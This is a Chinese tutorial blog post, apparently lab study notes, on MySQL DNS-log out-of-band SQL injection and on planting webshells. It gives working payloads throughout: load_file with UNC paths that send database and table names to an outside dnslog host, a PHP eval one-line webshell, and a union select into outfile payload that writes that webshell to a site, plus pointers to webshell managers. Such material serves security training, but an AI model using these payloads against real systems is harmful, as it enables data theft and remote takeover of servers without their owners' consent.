MYSQL--Dns注入

DNS-LOG注入

DNS-LOG:DNS解析日志

obb(数据外带)

假设你在SQL注入的时候,可以让数据库发起网络请求,访问:库名.dnslog.cn,当这个数据库访问了这个网站之后,就会在DNS服务器上面留下日志,这时候DNS就会记录访问者的IP,我们就可以知道这个库名的名字。

这样我们就可以把一个盲注变为显错注入

使用场景:

        1、目标是盲注

        2、目标可以访问外网

MYsql函数:

       load_file()  读取文件的函数

假如我们需要读取D盘里的1.txt里的内容,我们就可以直接用这个函数来读取,在单引号内 \ 这个符号可能会被当为转义符号,所以我们需要将它改为 / ,另外在mysql稍微高一点的版本,他需要在配置文件中找到mysql.ini,在末尾加上一个secure_file_priv=

那么如何看DNS的日志呢,我们可以选择自己搭建(自己搭建比较麻烦,需要有公网服务器和两个域名、另外还需要配置一些东西,比较麻烦,不推荐)或者是用别人搭建好的DNS-log的平台,这里可以使用dnslog.cn这个平台 

我们打开命令行,ping一下这个域名,前面我们讲到,用database().dnslong.cn访问,我们就能在这个DNS平台上面看到库名的具体名称

 我们可以用数据库来访问这个DNS平台,看一下能不能知道库名,这里访问这个平台需要用到UNC路径这个东西,UNC路径其实就是你共享的文件夹在网络上的路径,标识为 // 

这里我们输入 select load_file(concat('//',database(),'.9m9bz9.dnslog.cn/123')) ,可以看到出现了库名,这里加这个/123的目的是让他去读取这个123目录,这个可以随便写,456、qw什么的,这里是为了符合格式,至于这个concat()这个函数,是为了拼接database()这个函数和后面的字符串,而拼接函数和字符串,你就需要用到concat()这个函数 

这里情况就是利用load_file()这个读取文件的函数去发起一个请求,然后在结合这个UNC路径去到一个我们想去的DNS的地方

 

接下来进入靶场

老套路了,先测试有没有注入,这里测试出来是一个延时注入,那么就可以直接上我们的DNS-log了,在URL栏输入 and load_file(concat('//',database(),'.dnslog.cn/weq')),这样我们就成功得到了库名

 

 查询表名那就直接上我们前面学习过的语句就行了,记得写limit,因为这里出的是字符串

输入 and load_file(concat('//',(select table_name from information_schema.tables where table_schema=database() limit 0,1),'.dnslog.cn/weq'))

 字段名和数据就是前面所讲的语句,直接上就好了,这里就不演示了

初识webshell

能用load_file这个函数的时候,我们就可以尝试往网站里面写shell

例:

<?php eval($_REQUEST[cmd])?>

eval()   把字符串当做代码执行

这个一句话木马的意思就是接受cmd这个传参,然后把他当做代码执行

写入这个木马以后,我们就可以直接在URL栏上面进行传参,执行命令了。当然,一般是选择直接连菜刀或者蚁剑或者其他的webshell管理工具

webshell管理工具:内置了一些实现特定功能的后端代码,其实就是一个集成软件,帮别人管理网站,这里以菜刀为例,地址就是网站的地址,红色箭头指的部分就写密码,密码就是一句话木马 [] 这个框里面的东西,脚本类型一般会自动识别,旁边那个是编码,一般也不用改

 一般往网站里面写马,需要知道网站的绝对路径,并且有写入文件的权限

需要用到的函数:

into dumpfile 和into outfile,这两个函数都是导出函数,将结果导出,我们输入下面这个语句之后,就会在C盘的123目录写入内容为1的456文件,当然,这个456以前是没有的,我们写马的时候,只需要将这个1换为一句话木马,路径换为网站的路径就好了

 一般在网站写马,需要用到联合查询的方法,你如果直接写 ?id=1 into outfile '绝对路径/xx.php',这个写入的就是id=1的数据,想要写入一句话木马,我们就需要用到联合查询,?id=1 union select "<?php eval() ?>",2 into outfile '绝对路径/.xx.php'  ,如果这里不知道字段数,就一个一个去猜

  • 0
    点赞
  • 1
    收藏
    觉得还不错? 一键收藏
  • 0
    评论

“相关推荐”对你有帮助么?

  • 非常没帮助
  • 没帮助
  • 一般
  • 有帮助
  • 非常有帮助
提交
评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值